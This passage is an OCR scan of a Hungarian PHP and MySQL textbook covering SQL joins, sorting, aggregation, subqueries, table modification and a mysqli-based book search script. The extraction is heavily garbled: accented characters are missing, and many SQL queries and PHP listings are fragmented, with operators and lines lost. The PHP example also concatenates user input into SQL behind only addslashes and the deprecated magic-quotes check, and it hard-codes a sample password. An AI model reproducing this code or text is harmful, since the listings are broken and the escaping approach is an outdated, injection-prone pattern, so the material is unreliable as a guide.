vasarlok. nev
'
Julie Smith
'
felttel esetben.
nev nev oszlop csak a vasarlok tblban fordul el, gy igazbl nem szksges meghatroznunk, hogy melyik tbla
oszlopra hivatkozunk. A MySQL soha nem fog sszezavarodni. Az emberek szmra a nev nmagban kds lehet, gy
egyrtelmbb teszi a lekrdezs jelentst, ha vasarlok.nev formban hivatkezunk az adott oszlopra.
tblbl a kon yvek tbla egy konkrt knyvhez az ISBN -kd ltal juthatunk. Ha ltrehoztuk ezeket a kapcsolatokat,
megnzzk, melyik knyv cmben szerepel a java kifejezs, majd visszatrnk azon vsrlk nevhez, akik rendeltek ezekbl
a knyvekbl.
Nzzk meg azt a lekrdezst, amely mindezt megvalstja:
SELECT
vasarlok.nev
FROM vasarlok,
megrendelesek,
WHERE vasarlok.vasarloid
AND megrendelesek.rendelesid
AND rendelesi
rendelesi_tetelek,
konyvek
megrendelesek.vasarloid
=
rendelesi tetelek.rendelesid
tetelek.isbn
konyvek.isbn
'
'
AND konyvek. eim LIKE %Java% ;
=
nev
+-----------------+
l
Julie Smith
+------------ -----+
Lthatjuk, hogy a pldban ngy klnbz tblzaron keresztl kvettk az adatokat, s ha mindezt egyensszekapcsols
sal szeretnnk elrni, hrom klnbz sszekapcsoJsi felttelre van szksgnk. ltalnossgban igaz, hogy sszekapcsolni
kvnt tblapronknt egy sszekapcsoJsi felttel szksges, gy az sszekapcsoJsi felttelek szma az sszekapcsolni kivnt
tblk szmnl eggyel kisebb. Ez az alapszably hasznos lehet a nem igazn mkd lekrdezsek hibakeressnL Ellen
rizzk sszekapcsoJsi feltteleinket, s gyzdjnk meg arrl, hogy vgigjrtuk az utat onnan, amit tudunk, oda, amit tudni
szeretnnk!
A felttelt
Megfigyelhetjk, hogy az elz pldkban a lekrdezs eredmnye csak azokat a sorokat tartalmazta, ahol egyezst tall
runk. Elfordulhat azonban az is, hogy kifejezetten a nem egyez sorokta van szksgnk - pldul azokat a vsrlkat keres
sk, akik soha nem rendeltek, vagy azokat a knyveket, amiket soha nem rendeltek.
Az ilyen jelleg krdsek MySQL-beli megvlaszolsnak egyik mdszere a bal sszekapcsols hasznlata. Az ilyen tpus
sszekapcsols a kt tbla kztti meghatrozott sszekapcsoJsi felttel alapjn keres egyez sorokat. Ha a jobb oldali tbl
ban nincsenek egyez sorok, olyan sor addik az eredmnyhez, amely NULL rtkeket tartalmaz a jobb oszlopokban.
Nzznk egy pldt:
SELECT vasarlok.vasarloid,
FROM vasarlok
LEFT
vasarlok.nev,
megrendelesek.rendelesid
JOIN megrendelesek
ON vasarlok.vasarloid
megrendelesek.vasarloid;
Ez az SQL lekrdezs bal sszekapcsolst hasznl az gyfelek s a megrendelsek sszekapcsolsra. Lthatjuk, hogy a bal
sszekapcsols enyhn eltr szintaktikt alkalmaz az sszekapcsoJsi felttelhez; jelen esetben az sszekapcsoJsi felttel az
SQL utasts specilis ON mellkgba kerl.
Ennek a lekrdezsnek a kvetkez az eredmnye:
+------------+-----------------+------------+
vasarloid
nev
rendelesid
+------------+-----------------+------------+
Julie
Smith
Julie
Smith
Alan Wong
Michelle Arthur
4
NULL
l NULL
+------------+-----------------+------------+
Ez a kimenet csak azoknl a vsrlknl tartalmaz rendelsazonostt ( rendelesid ) , akiknek van rekordja a megrendels
rblban, azaz volt megrendelsk.
Ha csak azokat a vsrlkat szetetnnk ltni, akik mg semmit sem rendeltek, NULL rtkeket kell keresnnk a jobb tbla
(jelen esetben a rendeles id) elsdleges kulcsmezjben, mivel a valdi sorokban az nem lehet NULL:
SELECT
vasarlok.vasarloid,
FROM vasarlok
LEFT
JOIN
vasarlok.nev
megrendelesek
171
10
17:l
l O. fejezet
USING
(vasarloid)
WHERE megrendelesek.rendelesid IS
10
NULL;
Az eredmny:
+------------+-----------------+
vasarloid
nev
+------------+-----------------+
Alan Wong
Michelle Arthur
+------------+-----------------+
Figyeljk meg azt is, hogy ez a plda msmilyen szintaktikt hasznl az sszekapcsalsi felttelhez! A bal sszekapcsolsok
vagy az els pldban ltott ON, vagy a msodik pldban szerepl U SING szintaktikval mkdnek. Meg kell emltennk,
hogy az utbbi nem hatrozza meg. hogy melyik tblbl jn az sszekapcsalsi tulajdonsg; ppen ezrt a US ING hasznlat
hoz arra van szksg. hogy a kt tbla oszlopnak ugyanaz legyen a neve.
Az ilyen jelleg krdseket egymsba gyazott lekrdezsekkel (subquery) is megvlaszolhatjuk. Ezekkel a fejezet egy ksb
bi rszben rszletesen foglalkozunk.
v,
WHERE v.vasarloid
AND m.rendelesid
megrendelesek AS
m,
konyvek AS k
m.vasarloid
rt.rendelesid
Miutn meghatroztuk a hasznlni kivnt tblkat, egy AS mellkg hozzadsval deklarljuk az adott tbla aliast. Az
aliasokat oszlopokhoz is hasznlharjuk - erre rvidesen visszatrnk mg. amikor az sszest fggvnyeket vizsgljuk meg.
Amikor egy tblzatot nmagval szeretnnk sszekapcsolni, tblaaliasokat kell hasznlnunk. A feladat bonyolultabbnak s
egzotikusabbnak hangzik, mint amilyen valjban. Tobbek kztt akkor rud hasznos lenni, amikor egy tblban ugyanolyan
rtk sorokat keresnk. Ha pldul olyan vsrlkat keresnk, akik ugyanabban a vrosban laknak - tegyk fel, hogy olvas
kre szetetnnk ltrehozni -, kt klnbz aliast adharunk ugyanannak a tblnak ( vasarlok ) :
SELECT vl.nev,
v2.nev,
vl.varos
vasarlok AS v2
!= v2.nev;
Itt tulajdonkppen gy tesznk, mintha a vasarlok kt klnbz tbla, cl s c2 lenne, s sszekapcsolst hajtunk
vgre a Varos oszlopon. Figyeljk meg. hogy a msodik felttelre ( cl.nev
sszefoglals: sszekapcsolsok
A 10.2 tblzatban az elzekben bemutatott klnbz sszekapcsols-tpusok sszefoglalst lthatjuk. Lteznek tovbbi
tpusok is, m az itt szereplk a legfontosabbak, a leggyakrabban hasznltak.
10.2 tblzat:
Nv
Lers
Descarres-szorzat
Az sszekapcsolsban rszt vev sszes tbla minden sornak minden lehetsges kombi
ncija. A tblanevek kz vesszt rva, W HERE mellkgat nem meghatrozva hozhat
ltre.
Teljes sszekapcsols
Nv
Lers
Keresztsszekapcsols
JOIN
kulcsszavakar rjuk.
Bels sszekapcsols
JOIN
kulcsszavakkal is meghat
Felrteles kifejezst
LEFT
JOIN
NULL
rtkekkel tlti
SELECT
urasrs
ORDER BY
mellkgr kell hasznlnunk. Ez a funkci kivlan alkalmas arra, hogy a kimeneret emberi szem ltal jl olvashat formban
lltsuk el.
Az ORDER
az
BY
mellkg a
SELECT
mellkgban felsorolt egy vagy tbb oszlop szerint rendezi a sorokat. Vegyk pldul
albbi lekrdezst:
SELECT nev,
FROM
lakeim
vasarlok
ORDER BY nev;
l nev
lakeim
+-----------------+ --------------------+
Alan Wong
Julie Smith
l Michelle Arthur
25 Oak Street
+-----------------+--------------------+
Figyeljk meg, hogy a nevek jelen esetben - mivel az angolszsz terleten hasznlt keresztnv-vezetknv formban troljuk ket
- a kereszrnv alapjn vannak rendezve! Ha vezetknv alapjn szerernnk rendezni, kt mezben kellene trolni a neveket.
Az alaprtelmezett rendezs az emelked sorrend (a-tl z-ig vagy numetikusan emelked). Ha szeretnnk, az ASC kulcssz
segtsgvel kifejezetten megadharjuk ezt:
SELECT
FROM
nev,
DESC
SELECT
FROM
lakeim
vasarlok
ORDER BY
173
nev ASC;
(descending, azaz cskken) kulcssz hasznlatval pont fordrott, azaz cskken sorrendbe rendezhernk:
nev,
lakeim
vasarlok
ORDER BY
nev
DESC;
Tbb oszlop szerint is rendezhernk. Az oszlopnevek helyett hasznlharunk aliasokat vagy a sorszmukat is (a 3 pldul
a tbla harmadik oszlopt jelenti).
10
174
10. fejezet
10.3 tblzat: A
10
Nv
Lers
AVG(oszlop)
COUNT(elemek)
Ha meghatrozunk egy oszlopot, a fggvny az abban tallhat nem res rtkek szmr adja vissza.
Ha a DI STINCT kulcsszt rakjuk az oszlopnv el, akkor csak az oszlopban tallhat klnbz rt
kek szmt kapjuk vissza. A COUNT( * ) a sorok szmr aclja vissza, s nem vizsglja, hogy van-e kztk
res rtk.
MIN(oszlop)
MAX(oszlop)
STD(oszlop)
STDDEV(oszlop)
SUM(oszlop)
Nzznk nhny pldt; kezdskppen vizsgljuk meg az imnt emltert krdst! A megrendelsek tlagrtkt a kvetkez
kppen szmthatjuk ki:
SELECT avg(osszeg)
FROM megrendeles;
avg(osszeg)
+-------------+
54.985002
+-------------+
BY
dul gyflszmonknt - tekintsk meg az tlagos rendelsi rtket. Ebbl megtudhatj uk, me!y vsrlink adjk a legnagyobb
rtk rendelseket:
SELECT vasarloid,
AVG(osszeg)
FROM megrendelesek
GROUP BY vasarloid;
Ha a GROUP
BY
a tbla sszes rendelsi rtknek tlagt adn, a lekrdezs az egyes vsrlkhoz (pontosabban az egyes gyfl-azonostkhoz)
tartoz tlagos rendelsi sszegrl tjkoztat:
+------------+-------------+
vasarloid
avg(osszeg)
+------------+-------------+
49.990002
74.980003
47.485002
+------------+-------------+
Egy dolgot fontos megemltennk a csoportost s sszest fggvnyek hasznlata kapcsn: ha ANSI SQL-ben sszest
fggvnyt vagy GROUP
BY
mellkgban megnevezett oszlopokat tartalmazhatja. Ugyangy, ha valamely oszlopot hasznlni kvnjuk a GROUP
BY
BY
mellk
lehetv teszi, hogy a SELECT mellkgbl kihagyjuk azokat az elemeket, amelyekre valjban nincs szksgnk.
Az adatok csoportostsa s sszestse mellett arra is lehetsgnk nylik, hogy ellenrizzk egy sszests eredmnyt.
Erre a HAVING mellkgat hasznljuk. Kzvetlenl a GROUP
BY
AVG(osszeg)
175
GROUP BY vasarlaid
HAVING AVG(asszeg)
>
50;
Jegyezzk meg, hogy a HAVING mellkg csoportokra vonatkozik! A fenti lekrdezs az albbi eredmnyt hozza:
+------------+-------------+
l vasarlaid
avg(asszeg)
+------------+ -------------+
l 2
74.980003
+------------+-------------+
3;
A kvetkezkppen olvashat ez a lekrdezs:"Vlaszd ki az gyfelek nevt, md a kimenet msodik sortl kezdve adj
vissza hrom sort!" rdemes megjegyezni, hogy a sorok szmozsa nullval kezddik; ez azt jelenti, hogy a kimenet els sora
a nulladik
Ez a funkci igen hasznos pldul akkor, amikor egy vsrl webes termkkatalgust bngsz, s oldalanknt tz rucikket
szeremnk megjelenteni a szmra. Jegyezzk meg azonban, hogy a LIMIT nem rsze az ANSI SQL-nek! MySQL kiterjesz
ts, gy hasznlata esetn SQL kdunk elveszti kompatibilitst az egyb relcis adatbzis-kezel rendszerek tbbsgveL
SELECT vasarlaid,
asszeg
FROM megrendelesek
WHERE asszeg
(SELECT
MAX(asszeg)
FROM megrendelesek);
l vasarlaid
asszeg
+------------+--------+
l 2
74.98
+------------+--------+
Ebben az esetben az egymsba gyazott lekrdezs egyetlen rtket ad vissza (a maximlis rendelsi sszeget), amit aztn
a kls lekrdezs sszehasonltsban hasznlunk fel. Kivl pld:ija ez az egymsba gyazott lekrdezsek alkalmazsnak,
mivel ezt a konkrt lekrdezst ANSI SQL sszekapcsolsok hasznlarval nem lehet elegnsan reproduklni. Ugyanezt az
eredmnyt adja azonban az albbi sszekapcsolsos lekrdezs is:
SELECT vasarlaid,
asszeg
FROM megrendelesek
ORDER BY asszeg DESC
LIMIT
l;
10
176
10. fejezer
Mivel ez a lekrdezs a LIMIT kulcsszr hasznlja, nem kompatibilis az RDBMS-ek rbbsgvel, de MySQL-ben az egy
msba gyazorr lekrdezses vltozarnl hatkonyabban hajtdik vgre.
Az egyik legfbb oka annak, hogy MySQL-ben sokig nem hasznlharrunk egymsba gyazorr lekrdezseker, az volt, hogy
kevs olyan dolog van, amir nem lehet.nlklk megvalsrani. Technikailag ltrehozharunk egyerlen, szablyos ANSI SQL
lekrdezst, amely ugyanazt eredmnyezi, m egy kevsb hatkony, MAX-CONCAT nev rrkkre pl.
Az egymsba gyazorr lekrdezsek rtkeit minden szablyos sszehasonlr mveleri jellel hasznlhatjuk. Nhny kln
leges mveleri jel is lrezik az egymsba gyazorr lekrdezsekhez, ezeker a mosr kvetkez rszben muraguk be.
Pldaszintaktika
Lers
ANY
IN
Az ANY-vel egyenrtk.
SOME
SOME
ALL
Az IN kivrelvel a fenti mveleri jelek csak sszehasonlr opertor urn jelenhernek meg. Az IN-ben gymond mr benne
van az sszehasonlr opertora (=).
eim
FROM konyvek
WHERE NOT EXISTS
(SELECT * FROM rendelesi tetelek WHERE rendelesl tetelek.isbn=konyvek.isbn);
Ez a lekrdezs egyszerre pldzza a korrellt egymsba gyazott lekrdezsek s az egymsba gyazorr lekrdezsek utols
klnleges mveleri jeinek, az EXI STS-nek a hasznlatr. Azokar a knyveker adja vissza, amiker mg soha nem rendeltek
meg. (Ez ugyanaz az informci, amihez korbban bal sszekapcsols hasznlarval jurorrunk.) Figyeljk meg, hogy a bels
lekrdezs csak a FROM listban tartalmazza a rendelesi_tetelek tblt, de a konyvek. isbn oszlopra hivatkozik! Ms
szavakkal ezt azt jelenti, hogy a bels lekrdezs a klsben lv adatra hivatkozik. Ez egybknt a korrellt egymsba gyazorr
lekrdezs defincija: olyan bels sorokar keresnk, amelyek megegyeznek (vagy - mint jelen esetben - nem egyeznek meg)
a kls sorokkal.
Az EXISTS opertor visszatrsi rtke akkor igaz, ha vannak egyez sorok az egymsba gyazorr lekrdezsben. Ebbl
kvetkezik, hogy a NOT EXISTS visszatrsi rtke pedig akkor igaz, ha nincsenek egyez sorok az egymsba gyazorr lekr
dezsben.
volt (gy volt ez az elz, az EXI STS mveleri jelet hasznl pldban is). A soros egymsba gyazott lekrde
zsek (row subquery) reljes sort adnak vissza, amit azutn sszehasonltharunk a kls lekrdezsben szerepl ms teljes
sorokkal. Ezt a mdszert jellemzen arra hasznljuk, hogy olyan sorokat keressnk valamely rblban, amelyek egy msik-
177
ban is megtallhatk. A knyves adatbzisban nem tudunk erre j pldt mutatni, de az ltalnos szintaktika az albbihoz
hasonl:
10
FROM
vasarloid, nev FROM vasarlok WHERE varos='Box Hill')
AS box_hill_customers;
Lthatjuk, hogy az egymsba gyazott lekrdezs itt a FROM mellkgba kerlt. Rgtn az egymsba gyazott lekrdezs
zr zrjele utn aliast kell adnunk az egymsba gyazott lekrdezs eredmnynek. Ezt kveten a kls lekrdezsben
ugyangy kezdhetjk, mint brmilyen ms tblt.
[LOW_PRIORITY]
[IGNORE]
tabla neve
SET oszlopl=kifejezesl,oszlop2=kifejezes2,...
[WHERE feltetelJ
[ORDER BY rendezesi_feltetel]
[LIMIT szam]
A dolog lnyege, hogy a t abla_neve tblt frisstjk gy, hogy a megnevezett oszlopokhoz nem konkrt rtket, hanem
mveletet runk. A mvelet elvgzsnek eredmnye kerl a mezbe rtkknt (lsd lejjebb a pldt!). WHERE mellkg
hasznlatval adott sorokra korltozhatjuk az UPDATE utasts hatst, LIMIT mellkggal pedig az rintett sorok szmt
korltozhatjuk le; ha pldul csak az els tz sort kvnjuk frissteni, elszr is valamilyen sorrendbe kell rakni ket. A LOW_
PRIORITY s az IGNORE, amennyiben megadjuk ket, ugyangy mkdnek, mint az INSERT utasts esetn.
Nzznk nhny pldt! Ha 10 szzalkkal szeretnnk emelni minden knyv rt, akkor WHERE mellkg nlkl hasznl
hatjuk az UPDATE utastst:
UPDATE konyvek
SET ar
ar*l.l;
Ha viszont csak egyetlen sort szeretnnk mdostani, pldul egy vsrl lakcmt frisstennk, a kvetkezkppen tehetjk meg:
UPDATE vasarlok
SET lakeim
WHERE vasarloid
4;
[IGNORE]
tabla_neve valtoztatas
[,
valtoztatas
rdemes megjegyezni, hogy ANSI SQL-ben ALTER TABLE utastsonknt csak egy mdostst hajthatunk vgre, de
a MySQL tetszleges szm vltoztatst engedlyez. Brmelyik mdostsi mellkgat hasznlhatjuk (egyszerre tbbet is),
hogy klnbz szempontok szerint mdostsuk a tblt.
Amennyiben megadjuk az IGNORE mellkgat, s olyan mdostst prblunk meg vgrehajtani, amely dupliklt elsdleges
kulcsokat eredmnyez, akkor az els bekerl a mdostott tblzatba, s a tbbi tldik. Ha nem adjuk meg (ez az alaprtel
mezett md), akkor a mdosts nem kvetkezik be, s a tbla visszatr a mdostsi ksrlet eltti llapotba.
Az ezzel az utastssal vgrehajthat, klnbz tpus mdostsokat a 10.5 tblzatban lthatjuk.
178
10. fejezet
10
Lers"
Szintaktika
ADD
[COLUMN]
[FIRST
oszlop_leiras
AFTER oszlop ]
az
ADD INDEX
[index]
(oszlop, ... )
ADD [CONSTRAINT [szimbolum]]
PRIMARY KEY (oszlop, ... )
ADD UNIQUE
[CONSTRAINT
(oszlop, ... )
ADD
[CONSTRAINT
FOREIGN KEY
oszlop, ...)
definicioja]
[szimbolum]]
[index] (index
[hivatkozas
[szimbolum]] index]
[COLUMN] oszlop uj
oszlop leiras
MODIFY
[COLUMN] oszlop_leiras
DROP
[COLUMN] oszlop
DISABLE KEYS
Kikapcsolja az indexfrisstst.
ENABLE KEYS
RENAME
[AS]
Bekapcsolja az indexfrisstst.
uj
tabla_nev
ORDER BY oszlop_nev
tnevezi a tblt.
jra ltrehozza a tblt gy, hogy annak sorai adott oszlop szerint vannak
rendezve. (Figyelem: ha elkezdjk mdostani a tblt, a sorok nem tartjk
a korbbi rendezst!)
CHARACTER SET cs
COLLATE c
DISCARD TABLESPACE
IMPORT TABLESPACE
tabla tulajdonsaga1
Nzznk meg nhnyat az ALTER TABLE utasts gyakoribb felhasznlsi lehetsgei kzl!
Knnyen elfordulhat, hogy egy id utn rjvnk: egy adott oszlop nem "elg nagy" az ltala troland adatokhoz.
Avasarlok tblban pldul korbban 50 karakter hossz nevek trolst engedlyeztk. Az adatok begyjtse utn sz
revesszk, hogy egyes nevek tl hosszak, gy csonkolva letrek. gy segthetnk ezen a problmn, ha mdostjuk az oszlop
adattpust, hogy 70 karakter hossz legyen:
ALTER TABLE vasarlok
MODIFY nev CHAR(70)
NOT NULL;
179
Szintn gyakran elfordul, hogy oszlopot kell a tblzathoz adnunk. Kpzeljk el, hogy egy j, helyi rtkestsi adt vezet
nek be, amit a Book-O-Ramnak hozz kell adni a rendels vgsszeghez, de kln kell nyilvntartania! A kvetkezkppen
10
AFTER osszeg;
Ugyangy megeshet az is, hogy feleslegess vlik egy oszlop. A kvetkezkppen trlhetjk:
ALTER TABLE megrendelesek
DROP ado;
[LOW_PRIORITY]
[W HERE
felte tel]
[QUICK]
[IGNORE]
FROM tabla
[ORDER BY oszlopok_rendezese]
[LIMIT szam]
Ha csak ezt rjuk: DELETE FROM tabla; a tbla minden sora trldik, gyhogy csak vatosan bnjunk egy ilyen utasts
sal! ltalban csak adott sorokat kvnunk trlni, ezeket a W HERE mellkgban hatrozhatjuk meg. Pldnknl maradva, ha
valamelyik knyv mr nem kaphat, vagy valamelyik vsrl mr hossz ideje nem rendelt semmit sem, s szetetnnk egy kicsit
rendet rakni az adatbzisban:
DELETE FROM vasarlok
WHERE vasarloid=S;
A LIMIT mellkgban korltozhatjuk a tnylegesen trlend sorok maximlis szmt. Az ORDER BY t jellemzen
-
Tblk trlse
Esetenknt egy egsz tblrl szecetnnk megszabadulni. A DROP TABLE utastssal rhetjk ezt el. A folyamat nagyon egy
szer, az utasts pedig a kvetkezkppen nz ki:
DROP TABLE tabla;
Az utasts a tbla minden sort s magt a tblt is trli, ezrt fokozott gondossggal jrjunk el hasznlata esetn!
az
Tovbbi olvasnival
Fejezetnkben a MySQL adatbzisokkal folytatott munka sorn nap mint nap hasznlt SQL utasrsokat tekintettk t.
A kvetkez kt fejezerbl megtudhatjuk, hogyan kapcsoljuk ssze a MySQL-t s a PHP-r gy, hogy internetrl hozzfrjnk
adarbzisainkhoz. Egyes halad MySQL-es technikkat is megismerhetnk majd.
Ha szeretnnk tbbet rudni
az
Hogyan tovbb
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben ttekintjtik, hogyan teherjk a Book-O-Rama adarbzist
internerrl elrhetv.
ll
MySQL adatbzis elrse
a webrl PHP vel
...
Amikor a korbbiakban PHP-vel dolgoztunk, egyszer fjlokban troltuk az adatokat, illetve ezekbl az llomnyokbl ke
restk vissza azokat. Az Adatok trolsa s lekrse cm 2. fejezetben, ahol dolgoztunk mr ilyen fjllal, megemltettk, hogy
a relcis adatbzisrendszerek webes alkalmazs esetn knnyebb, biztonsgosabb s hatkonyabb reszik a trolsi s visz
szakeressi feladaraink jelents rszr. Mosr, hogy MySQL-ben dolgozva mr ltrehoztuk adarbzisunkat, kszen llunk arra,
hogy webes fellettel ( weboldallal) kssk ssze.
Ebben a fejezeeben bemutatjuk, hogyan rhetjk el a Book-O-Rama adarbzist PHP segtsgvel a webrl. Megcanuljuk, ho
gyan olvassunk adatokat adatbzisbl, s hogyan rjunk bele, illetve hogyan szrjk ki a potencilisan problms adatok bevitelt.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Hogyan mkdnek a webes adatbzis-archicektrk
Adatbzis lekrdezse a webrl egyszer lpsekkel
Kapcsolat belltsa
Informciszerzs az elrhet adatbzisokrl
A hasznlni kvnt adatbzis kivlasztsa
Az adarbzis lekrdezse
A lekrdezs eredmnyeinek lekrse
Kapcsolat boncsa az adatbzissal
j informci felvitele az adatbzisba
Elfordtort utastsok hasznlata
Egyb PHP adacbzis-illesztsek hasznlata
lcalnos adatbzis-illeszts hasznlata: PEAR MDB2
182
ll. fejezet
ll
Ez a HTML rlap viszonylag magtl rtetd. A HTML kd kimenere a 11.1 brn lthat.
;.,;,.el.!!!.-----
-----------J
11.1 bra: Teljesen ltalnos keressi rlap, ami cm, szerz s ISBN-kd szerinti keresst tesz lehetv.
A"Keress" gombra kartintskor meghvott kd az eredmenyek. php fjlban tallhat. Ezt a kdot a 11.2 pldakd tartal
mazza. A fejezet sorn azt fogjuk megtrgyalni, hogy mir csinl, s hogyan mkdik
ez
a kd.
11.2 pldakd: eredmenyek. php-Ez a kd keresi vissza a MySQL adatbzisbl a keressi eredmnyeket, majdJormzza azo
kat a megjelentshez
<html>
<head>
<title>Book-0-Rama keressi eredmnyek</title>
</head>
<body>
<hl>Book-0-Rama keressi eredmnyek</hl>
<?php
if (1$keresesi tipus
l l
!$keresesi kfejezes)
183
if (!get_magic_quotes_gpc()) {
$keresesi_tipus = addslashes($keresesi_tipus);
addslashes($keresesi kifejezes);
$keresesi kifejezes
'beokorama',
'bookorama123',
'konyvek');
ll
if (mysqli_connect_errno())
echo 'Hiba:
prblkezzon ksbb.';
exit;
$lekerdezes
"SELECT
$talalatok_szama
$talalat->num_rows;
for ($i=O;
$i <$talalatok_szama;
".$talalatok_szama."</p>";
$i++)
$sor = $talalat->fetch_assoc();
echo "<p><strong>".($i+l).". Cim:
";
echo htmlspecialchars(stripslashes($sor['cim']));
echo "</strong><br />Szerz:
";
echo stripslashes($sor['szerzo']);
echo "<br />ISBN:
";
echo stripslashes($sor['isbn']);
echo "<br />r:
";
echo stripslashes($sor['ar']);
echo "</p>";
$talalat->free();
$adatbazis->close();
?>
</body>
</html>
Figyeljk meg, hogy a kd megengedi a felhasznlnak a MySQL dzskerkarakterek, a % s az_ {alulvons) hasznlatr. Ez
hasznos lehet a felhasznlnak, de vdkarakterrel kell elltni ezeket a klnleges karaktereket, hogy ne okozhassanak prebl
mt alkalmazsunknak. A 11.2 bra a kd hasznlatval vgrehajtott keress eredmnyt illusztrlja.
l'!
184
ll. fejezer
Ezeket a lpseket kvettk az eredmenyek. php kdban is,nzzk meg most ezeket egyenknt!
ll
$_POST [ 'keresesi_kifejezes' l
rtkre alkalmazzuk,amikor
A kvetkez lps annak ellenrzse,hogy a felhasznl adott-e meg keressi kifejezst,s kivlasztotta-e a keress pust.
Figyeljk meg. hogy a keressi kifejezs megltnek ellenrzse az utn trtnik,hogy eltvoltjuk a $ keresesi_kifejezes
szleirl a fehrkz karaktereket! Ha fordtott sorrendben szerepelne ez a kt kdsor, akkor elfordulhatna olyan eset, hogy
a felhasznl keressi kifejezse nem res,gy nem hoz ltre hibazenetet sem; viszont csupa fehrkz karakterbl ll, amelye
ket a trim ( ) kivtel nlkl eltvolt:
if (! $keresesi_tipus
echo
"
l l
! $keresesi kifejezes)
{
Krjk,
exit;
Ellenrizzk a $keresesi_tipus vlrozt,noha az jelen esetben egy SELECT HTML utasrsbl szrmazik! Krdez
hetnnk,mirt rdemes bajldni egy olyan adat ellenrzsvel, amelyet be kell rni. Nem szabad elfelejteni, hogy tbb fellet
is kapcsoldhat adarbzisunkhoz. Az Amazonnak pldul szmos lenyvllalata van,amely rnind az anyacg keressi fellett
hasznlja. Azrt is clszer szrni az adatokat,mert a klnbz belpsi pontokrl rkez felhasznlk miatt biztonsgi
problmk keletkezhetnek.
Arnikor felhasznlk ltal bevitt adatokat terveznk felhasznlni,minden esetben ki kell szrni bellk a vezrl karaktere
ket. Mint emlkezhetnk,a
stripslashes()
s get_magic_ quotes_gp c() fggvnyrL Brmilyen felhasznli inputot kldnk olyan adatbzisba,
addslashes ()
{
tlpus);
addslashes($keresesl klfejezes);
A stripslashes() fggvnyt az adatbzisbl rkez adatokon is hasznljuk. Ha a magic quotes funkci be van kapcsol
va,az adatok perjeleket fognak tartalmazni, amikor visszajnnek az adatbzisbl. gy el kell tvoltani azokat.
A pldban a htmlspecialchars ( ) fggvnnyel kdoljuk a HMTL-ben klnleges jelentssei br karaktereket. A je
lenlegi tesztadatok nem tartalmaznak s(&),kisebb,rnint(<),nagyobb,mint (>) vagy dupla idzjeleket("),m szmtalan
olyan knyvcm ltezik,amelyben s jel tallhat.(Ez elssorban angol nyelvterleten jellemz, magyar cmekre kevsb igaz.)
A fggvny hasznlatval ksbbi hibkat elzhetnk meg.
Kapcsolat ltrehozsa
A MySQL-hez kapcsoldsta hasznlhat PHP knyvtr neve mysqli(az i az improved,vagyis.,tovbbfejlesztett" szra utal).
Arnikor mysqli knyvrrat hasznlunk PHP-ben,objektumorientlt s procedurlis szintaktikt egyarnt alkalmazhatunk.
A kdban az albbi sorral kapcsoldunk a MySQL kiszolglhoz:
@ $adatbazis
'boakorama',
'bookoramal23',
'konyvek');
E sor ltrehozza a mysqli osztly egy pldnyt,s boakorama felhasznlnvvel s bookoramal 23 jelszval kapcsola
tot ltest a
localhost
185
mysqli connect('localhost',
'boakorama',
'bookoramal 23',
'konyvek');
Ez a fggvny objektum helyett erforrst ad vissza. Ez jelkpezi az adatbzishoz val csatlakozst, s ha ezt a procedurlis
megkzeltst kvetjk, ezt az erforrs-vltozt kell tadnunk minden ms mysqli fggvnynek. Ez igen hasonl ahhoz,
ahogy a fjlkezel fggvnyek, pldul az fopen () mkdik.
A mysqli fggvnyek tbbsge objektumorientlt fellettel s procedurlis fellettel is rendelkezik. ltalnossgban az kz
tk a klnbsg, hogy a procedurlis verzij fggvnynevek mysql_-lel kezddnek, s megkvetelik a mysql_connect ()
fggvnybl megkapott erforrs-vltoz tadst. Az adatbzis-kapcsaldsok kivtelt kpeznek e szably all, mivel a mysqli
objektum konstruktora ltal is ltrehozhatk.
A kapcsoldsi kisrlet eredmnyt rdemes ellenrizni, mert a kd tbbi rsze nem fog megfelel adatbzis-kapcsolat nlkl
mkdni. A kvetkez kddal hajthatjuk vgre ezt
1f (mysqli connect_errno())
echo
'Hiba:
az
ellenrzst:
Krjk,
prblkezzon ksbb!';
exit;
mysqli _connect_
() fggvny hiba esetn hibakdot, sikeres kapcsolds esetn nullt ad vissza. Figyeljk meg, hogy
az
adatbzishoz
az
connections
az
MaxClients
Apache paramternek az
a clja, hogy utastsk a szervert az j kapcsaldsok elutastsra, megakadlyozva azt, hogy forgalmas idszakokban vagy
szaftverproblma esetn tlzott mrtkben vegyk ignybe a gp erforrsait.
Mindkt paramter alaprtelmezett rtkt a konfigurcis fjlok szerkesztsvel tudjuk mdostani. Az Apache
paramternek megvltoztatshoz rendszernk
MaxClients
con nections
httpd. conf
Erre internetrl val kapcsolds esetn is szksg van. A hasznlni kivnt adatbzist paramterknt hatrozhatjuk meg
a mysqli konstruktor vagy a mysqli _connect () fggvny szmra. Ha meg akarjuk vltaztami az alaprtelmezett adat
bzist, a mysql_ select_ db() fggvnnyel tehetjk meg.
Ezt a fggvnyt az
$adatbazis->select_db(adatbazis neve)
illetve a
mysql_select_db(adatbazis_eroforras,
adatbazis_neve)
Az adatbzis lekrdezse
Az adatbzis tnyleges lekrdezshez a mysqli_query() fggvnyt hasznlhatjuk. Ezt megelzen azonban rdemes ltre
hozni a futtatni kivnt lekrdezst:
$lekerdezes
"SELECT
'%". $ keresesi
Ebben az esetben a felhasznl ltal megadott rtkre ( $ keresesi _kifej ezes ) keresnk a felhasznl ltal meghatro
zott mezben
( $keresesi_tipus). Figyeljk meg, hogy az EQUAL helyett a LIKE mveleri jelet hasznljuk az illesztshez:
ll
186
ll. fejezet
Tipp: Ne feledjk, hogy- a MySQL monitorba begpelend lekrdezssei ellenttben -a MySQL-nek kldend lekrdezs
vgre nem kell pontosvessz!
$adatbazis->query($lekerdezes);
$lekerdezes);
tadjuk a futcaeni kivfut lekrdezst s - a procedurlis fellet esetn - az adatbzisra mutat kapcsolatot (ami jelen eset
ll
ben is az $adatbazis) .
hoz, ahogy a kapcsoldsi fggvnyek mkdnek.) Ksbbi felhasznls cljbl mindkt esetben vltozban ( Stalalat)
a tnyleges eredmnyt. Az eredmnyobjektum vagy -azonost a lekrdezs ltal visszaadon sarok elrsnek a kulcsa.
Pldnkban megszmoltuk a visszaadon sarok szmt, s a mysqli_fetch_assoc ( ) fggvnyt is hasznltuk.
Az objektumorientlt megkzelts hasznlata esetn az eredmnyobjektum num_rows tagja trolja a visszaadott sarok
$talalatok_szama = $talalat->num_rows;
Procedurlis megkzelts alkalmazsakor a mysqli_num_ rows() fggvny adja meg szmunkra a lekrdezs ltal vissza
